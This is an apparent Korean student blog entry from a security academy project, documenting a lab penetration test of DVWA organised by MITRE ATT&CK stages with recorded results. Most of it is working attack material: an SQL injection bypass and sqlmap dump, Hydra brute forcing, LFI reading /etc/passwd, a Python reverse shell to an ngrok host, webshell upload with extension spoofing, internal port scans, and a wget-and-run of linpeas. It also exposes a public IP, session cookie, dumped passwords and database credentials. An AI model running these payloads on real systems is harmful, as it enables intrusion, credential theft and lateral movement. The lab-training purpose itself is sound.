

걸스끼리 모둠곱창이랑 곱창 전골 조졌습니다.
다들 맛있는 거 먹으면서 몸조리 잘 하세용

4.1 외부 정찰 (Reconnaissance)
| MITRE Tactic | TA0043 – Reconnaissance |
| 목표 | 공격 대상 서비스 식별 및 취약 진입점 파악 |
| 활용 도구 | nmap, nikto, whatweb, gobuster |
수행 내용
▪ Nmap을 이용한 인증 기반 스크립트 스캔
– nmap -Pn -p 8081 --script http-enum \--script-args "http-enum.basepath=/DVWA/,http.cookie='security=low; PHPSESSID=세션ID_입력'" \[WEB_SERVER_IP]
▪ nikto를 통한 웹 서버 취약점 자동 스캔
– 보안 헤더 미설정(X-Frame-Options, CSP 등) 확인
▪ gobuster로 DVWA 디렉터리 구조 열거
– 세션 값이 필요하므로 -c 옵션 사용
– 예상 노출 경로: /dvwa/, /setup.php, /phpinfo.php
▪ whatweb을 통한 기술 스택 식별 (Apache 버전, PHP 버전)
수행 결과 기록
| 수행 항목 | 수행 결과 기록 (직접 입력) |
| nmap 스캔 결과 |
1. nmap -Pn -p 8081 --script http-enum \
--script-args "http-enum.basepath=/DVWA/,http.cookie='security=low; PHPSESSID=b6qsm5f1vsmnldnttl3h718jpk; expires=Wed, 22-Apr-2026 11:33:27 GMT; Max-Age=86400; path=/; domain=220.88.200.203'" ![]() 2. curl -v -b "security=low; PHPSESSID=b6qsm5f1vsmnldnttl3h718jpk; expires=Wed, 22-Apr-2026 11:33:27 GMT; Max-Age=86400; path=/; domain=220.88.200.203" http://220.88.200.203:8081/DVWA/ ![]() |
| nikto 주요 발견 사항 |
주요 디렉토리 및 파일 노출
- /DVWA/config/ - /DVWA/database/: -.git/ 관련 파일(.git/index, HEAD, config) 노출 - Directory Indexing : 여러 경로에서 파일 목록이 브라우저에 그대로 표시됨 ![]() 2. 보안 헤더 미설정 (Missing Security Headers) - X-Frame-Options 미설정 / Deprecated ![]() - X-Content-Type-Options 미설정 ![]() - Content-Security-Policy (CSP) 부재 ![]() - Strict-Transport-Security (HSTS) 미설정 ![]() 3. 서버 소프트웨어 취약점 Apache/2.4.52 (Outdated) ![]() |
| gobuster 발견 디렉터리 |
1. Status: 200
- .git/HEAD - setup.php - php.ini - robots.txt - security.txt - about.php / instructions.php - login.php 2. Status: 403 Forbidden(접근 권한이 제한된 파일) - .htaccess / .htpasswd - .hta 3. Status: 301(리다이렉션 디렉터리) - /config/ - /database/ - /docs/ - /external/ - /tests/ 4. Status: 302(세션 체크 후 리다이렉션) - phpinfo.php - index.php - security.php ![]() |
4.2 초기 침투 (Initial Access)
| MITRE Tactic | TA0001 – Initial Access |
| 목표 | 웹 애플리케이션 인증 우회 및 내부 접근 권한 확보 |
| 활용 취약점 | SQL Injection, Brute Force, File Inclusion (LFI) |
| 활용 도구 | sqlmap, Hydra, Burp Suite Intruder |
공격 벡터 1 — SQL Injection (인증 우회)
▪ DVWA 로그인 폼 username 필드 SQL 구문 삽입
– 페이로드: ' OR '1'='1' -- (Boolean-based 인증 우회)
▪ sqlmap 자동화 DB 덤프
– 명령: sqlmap -u "http://220.88.200.203:8081/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \--cookie="security=low; PHPSESSID=b6qsm5f1vsmnldnttl3h718jpk" \--dbs --batch
– 추출 대상: dvwa.users 테이블 (username, password MD5)
공격 벡터 2 — Brute Force
▪ Hydra HTTP POST 폼 대상 사전 공격
– 명령: hydra -l admin -P /usr/share/wordlists/rockyou.txt [IP주소] http-post-form "/DVWA/login.php:username=^USER^&password=^PASS^&Login=Login:S=Location\: index.php"
▪ 기본 계정 admin:password 획득 시나리오
공격 벡터 3 — LFI (Local File Inclusion)
▪ DVWA File Inclusion 모듈 page 파라미터 경로 조작
– 페이로드: vulnerabilities/fi/?page=../../../../../../../../etc/passwd
수행 결과 기록
| 수행 항목 | 수행 결과 기록 (직접 입력) |
| SQLi — 인증 우회 성공 여부 및 획득 데이터 |
Admin 우회 성공, user 테이블 덤프
- admin : password - gordonb : abc123 - 1337 : charley - pablo : letmein - smithy : password ![]() |
| LFI 결과 (노출된 파일 내용 요약) |
/etc/passwd 6개 계정 확인 (root, kali, www-data, mysql, beef-xss, postgres)
![]() |
4.3 명령 실행 (Execution)
| MITRE Tactic | TA0002 – Execution |
| 목표 | 웹 서버에서 OS 명령어 실행 및 웹쉘 배포 |
| 활용 취약점 | Command Injection, File Upload |
| 활용 도구 | weevely, msfvenom, Burp Suite |
공격 벡터 1 — Command Injection
▪ DVWA Command Injection 모듈 IP 입력 필드 OS 명령 삽입
– 페이로드: 127.0.0.1; id; whoami; cat /etc/passwd
– 명령 체이닝 연산자: ; && | ||
▪ Reverse Shell 페이로드 삽입
– 127.0.0.1; python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.jp.ngrok.io",19115));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
– ngrok에서 받은 주소로 넣어야 함
–
▪ 공격자 측 리스너: nc -lvnp 4444
공격 벡터 2 — File Upload (웹쉘 업로드)
▪ MIME 타입·확장자 검증 우회
– 파일명: shell.php.jpg / Content-Type: image/jpeg 위장
▪ weevely 웹쉘 생성 및 업로드
– 생성: weevely generate [password] shell.php
– 업로드 후 접근: /dvwa/hackable/uploads/shell.php
– 연결: weevely http://[IP]/dvwa/hackable/uploads/shell.php [password]
수행 결과 기록
| 수행 항목 | 수행 결과 기록 (직접 입력) |
| Command Injection 실행된 명령 및 결과 |
1. uid=33(www-data) gid=33(www-data) groups=33(www-data)
2. cat /etc/passwd - root:x:0:0:root:/root:/usr/bin/zsh - www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin - postgres:x:115:118:PostgreSQL administrator:/var/lib/postgresql:/bin/bash - kali:x:1000:1000::/home/kali:/usr/bin/zsh - beef-xss:x:120:125::/var/lib/beef-xss:/usr/sbin/nologin 등등 ![]() |
| Reverse Shell 획득 여부 및 세션 정보 |
4444포트 연결 성공, www-data 권한 쉘 획득
![]() |
| 웹쉘 업로드 업로드 경로 및 실행 확인 |
../../hackable/uploads/shell.php 접근 성공
웹쉘 연결 성공
![]() |
4.4 내부 네트워크 탐색 (Discovery)
| MITRE Tactic | TA0007 – Discovery |
| 목표 | DMZ 및 LAN 세그먼트 호스트·서비스 파악 |
| 거점 | 웹쉘 또는 Reverse Shell을 통해 웹 서버에서 수행 |
| 활용 도구 | nmap, arp-scan, netstat, /proc/net/arp |
수행 내용
▪ ARP 캐시 및 /proc/net/arp — DMZ·LAN 인접 호스트 탐색
▪ 웹 서버를 피벗 거점으로 내부 포트 스캔
for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i | grep "from" & done
– DMZ 내 DB 서버: 3306(MySQL), 22(SSH) 확인
python3 -c 'import socket; p=[22, 3306]; [print(f"{port} open") for port in p if socket.socket().connect_ex(("192.168.1.10", port)) == 0]'
– LAN 내 Wazuh SIEM: 22, 1514(에이전트), 5601(Kibana), 55000(Wazuh API)
python3 -c 'import socket; ip="192.168.1.101"; ports=[22, 80, 443, 1514, 1515, 55000]; [print(f"Wazuh Port {p} OPEN") for p in ports if socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect_ex((ip, p)) == 0]'
▪ netstat -antp — 현재 연결 및 리스닝 포트 확인
▪ 환경 변수·설정 파일 수집: /var/www/html/dvwa/config/config.inc.php
수행 결과 기록
| 수행 항목 | 수행 결과 기록 (직접 입력) |
| 발견된 내부 호스트 목록 (IP, 역할 추정) |
192.168.1.1 — Gateway (라우터/방화벽), ens34
192.168.1.101 — Target Host (분석 대상), ens34 192.168.1.103 — Active Host, ens34 192.168.1.105 — Active Host, ens34 192.168.1.106 — Active Host, ens34 192.168.1.107 — Active Host, ens34 192.168.1.109 — Active Host, ens34 192.168.1.110 — Active Host, ens34 192.168.1.112 — Current Compromised Host ![]() |
| DB 서버 포트 스캔 결과 |
DB : 3306,22 open
![]() |
| Wazuh/SOAR 서버 포트 스캔 결과 |
Wazuh : 22, 443 open
![]() |
| config.inc.php 노출 자격증명 |
config.inc.php 노출 자격증명
DB_HOST: 127.0.0.1 (포트: 3306) DB_USER: dvwa DB_PASS: dvwa123 DB_NAME: dvwa ![]() |
4.5 횡적 이동 (Lateral Movement)
| MITRE Tactic | TA0008 – Lateral Movement |
| 목표 | DB 서버, Wazuh SIEM, SOAR 서버 접근 |
| 방법 | 자격증명 재사용, SSH 직접 접근, Wazuh API 접근 |
공격 벡터 1 — DB 서버 접근
▪ config.php에서 획득한 DB 자격증명으로 MySQL 직접 접속
– mysql -u dvwa -pdvwa123 -h 127.0.0.1 dvwa
▪ 전체 테이블 덤프: SELECT * FROM users; DUMP FILE 등
공격 벡터 2 — 권한 상승
– cd /tmp && wget https://postage-askew-apostle.ngrok-free.dev/linpeas.sh --no-check-certificate && chmod +x linpeas.sh && ./linpeas.sh
공격 벡터 3 — Wazuh API 무단 접근
▪ Wazuh API(55000/tcp) 기본 자격증명(wazuh:wazuh) 시도
– curl -k -u wazuh:wazuh https://[WAZUH_IP]:55000/
▪ API를 통한 에이전트 목록, 활성 룰셋, 로그 정보 수집
▪ SOAR 서버 웹 인터페이스(API) 기본 자격증명 접근 시도
수행 결과 기록
| 수행 항목 | 수행 결과 기록 (직접 입력) |
| DB 서버 접근 성공 여부 및 획득 데이터 |
MySQL 접속 성공
![]() |
'시큐리티아카데미 7기 - sk쉴더스트랙 > 프로젝트' 카테고리의 다른 글
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 12일차 - 2026.04.28 (0) | 2026.04.30 |
|---|---|
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 11일차 - 2026.04.27 (0) | 2026.04.28 |
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 9일차 - 2026.04.21 (0) | 2026.04.21 |
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 8일차 - 2026.04.20 (0) | 2026.04.20 |
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 7일차 - 2026.04.17 (0) | 2026.04.17 |


















